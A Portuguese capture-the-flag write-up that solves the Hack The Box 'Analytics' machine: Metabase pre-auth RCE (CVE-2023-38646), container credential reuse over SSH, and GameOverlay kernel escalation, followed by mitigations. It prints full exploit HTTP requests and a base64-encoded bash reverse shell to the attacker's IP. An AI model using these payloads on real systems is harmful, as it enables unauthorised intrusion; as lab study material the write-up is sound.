0xEtern4lW0lf
Hack The BoxEasyLinux

Analytics

5 min de leitura
#Metabase#RCE#Docker#OverlayFS

Introdução

Analytics é uma máquina Linux da plataforma Hack The Box, classificada oficialmente como dificuldade Easy. O alvo expõe um serviço web que roda uma instância do Metabase vulnerável a uma RCE pré-autenticação, o que permite obter acesso inicial dentro de um container Docker. A partir daí, credenciais encontradas nas variáveis de ambiente do container permitem acesso via SSH ao host, cujo kernel desatualizado é vulnerável ao GameOverlay, usado para escalar privilégios até root. https://app.hackthebox.com/machines/Analytics IP: 10.10.11.233

Escaneamento

O primeiro passo foi enumerar a máquina com o nmap.

ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.233 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.233

O nmap revela três portas abertas: 22 ssh, 80 http e uma porta de NFS.

Enumeração

Porta 80

Ao acessar a porta 80 diretamente pelo IP, a aplicação redireciona para o vhost analytical.htb, que foi adicionado ao /etc/hosts. http://analytical.htb/ Analisando o código-fonte da página é possível notar uma referência a um subdomínio adicional. Código-fonte: Esse subdomínio, data.analytical.htb, também foi adicionado ao /etc/hosts e leva a uma aplicação Metabase (ferramenta de BI/analytics open source). http://data.analytical.htb/ Inspecionando o código-fonte da página de login do Metabase e o arquivo LICENSE.txt é possível confirmar a versão exata do software em uso, o que ajuda a identificar se está vulnerável a alguma CVE conhecida. view-source:http://data.analytical.htb/auth/login?redirect=%2F view-source:http://data.analytical.htb/LICENSE.txt

Exploração

CVE-2023-38646 — Metabase Pre-Auth RCE A instância do Metabase encontrada está vulnerável a uma RCE pré-autenticação. De acordo com o artigo publicado em https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/, a falha ocorre porque o endpoint /api/setup/validate, usado no fluxo inicial de configuração do Metabase, aceita uma string de conexão JDBC para o driver H2 sem validação adequada. Isso permite injetar um TRIGGER malicioso escrito em JavaScript (via engine H2/Nashorn) que é executado no contexto do servidor, resultando em execução remota de comandos. Segui a exploração usando o Burp Suite para interceptar e modificar as requisições. http://data.analytical.htb/api/session/properties Primeiro passo: obter o “setup-token”, que é exposto no endpoint /api/session/properties. 249fa03d-fd94-4d5b-b94f-b4ebf3df681f Com o setup-token em mãos, uso o payload divulgado no artigo do AssetNote na requisição abaixo. A db connection string embute um TRIGGER SQL malicioso que dispara um comando no sistema operacional através do H2/Nashorn assim que a tabela INFORMATION_SCHEMA.TABLES é consultada:

POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 566

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
						"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl 10.10.14.166')\n$$--=x",
						"advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

Esse primeiro teste confirma a execução de comandos: o servidor faz uma requisição de callback (curl) para minha máquina, validando o RCE. Com a RCE confirmada, alterei o payload para obter uma shell reversa:

POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 812

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE2Ni84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

O payload embutido está em base64, correspondendo ao comando:

bash -i >&/dev/tcp/10.10.14.166/8888 0>&1

Ao disparar a requisição, recebi a conexão da shell reversa em meu listener.

Pós-exploração

Escalonamento de privilégios (metalytics)

A shell obtida está dentro de um container Docker. Comecei a enumerar o container. Ao listar as variáveis de ambiente, encontrei um usuário e senha:

metalytics:An4lytics_ds20223#

Testando essas credenciais via SSH no próprio host (fora do container), consegui autenticar com sucesso:

ssh metalytics@10.10.11.233
An4lytics_ds20223#

Escalonamento de privilégios (root)

Já com uma shell estável no host como metalytics, verifiquei a versão do kernel e constatei que estava desatualizada e vulnerável ao GameOverlay (CVE-2023-2640 / CVE-2023-32629), uma combinação de falhas no OverlayFS do kernel Ubuntu que permite escalonamento de privilégios local em sistemas com suporte a namespaces de usuário não privilegiados. Usei o exploit público disponibilizado por g1vi, que automatiza o abuso do OverlayFS combinando as duas CVEs: https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh Ao transferir o script para o host e executá-lo como metalytics, obtive uma shell com privilégios de root, finalizando o comprometimento total da máquina.

Anexos

Mitigação

  • Atualizar o Metabase para uma versão corrigida (pós CVE-2023-38646) e restringir o acesso ao endpoint /api/setup apenas ao momento inicial de instalação, bloqueando-o após a configuração completa.
  • Segmentar a rede de forma que o container do Metabase não tenha acesso direto ao host nem a outros serviços internos além do estritamente necessário.
  • Evitar armazenar credenciais em variáveis de ambiente de containers em texto plano; utilizar um gerenciador de segredos (Vault, Docker secrets, etc.) e nunca reutilizar a mesma senha entre o container e o host.
  • Aplicar princípio do menor privilégio para SSH, restringindo quais usuários podem autenticar remotamente e habilitando autenticação por chave em vez de senha.
  • Manter o kernel do host atualizado, aplicando os patches que corrigem o GameOverlay (CVE-2023-2640 / CVE-2023-32629) e demais falhas conhecidas do OverlayFS.
  • Restringir namespaces de usuário não privilegiados (unprivileged user namespaces) quando não forem estritamente necessários, reduzindo a superfície de ataque para exploits de kernel desse tipo.